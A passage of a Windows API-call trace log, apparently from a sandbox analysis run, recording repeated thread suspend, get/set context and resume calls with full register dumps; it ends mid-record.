[0099.198] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147510, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f1f40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0099.271] ResumeThread (hThread=0x130) returned 0x1
[0099.271] CloseHandle (hObject=0x130) returned 1
[0099.271] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0099.313] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0099.421] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0099.497] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0099.607] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0099.607] SuspendThread (hThread=0x130) returned 0x0
[0099.607] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147858, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1461940, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0099.675] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147850, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0099.743] ResumeThread (hThread=0x130) returned 0x1
[0099.744] CloseHandle (hObject=0x130) returned 1
[0099.744] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0099.778] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0099.812] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0099.890] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0099.970] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0099.970] SuspendThread (hThread=0x130) returned 0x0
[0099.970] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001476e0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1469ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0100.038] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001476d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, 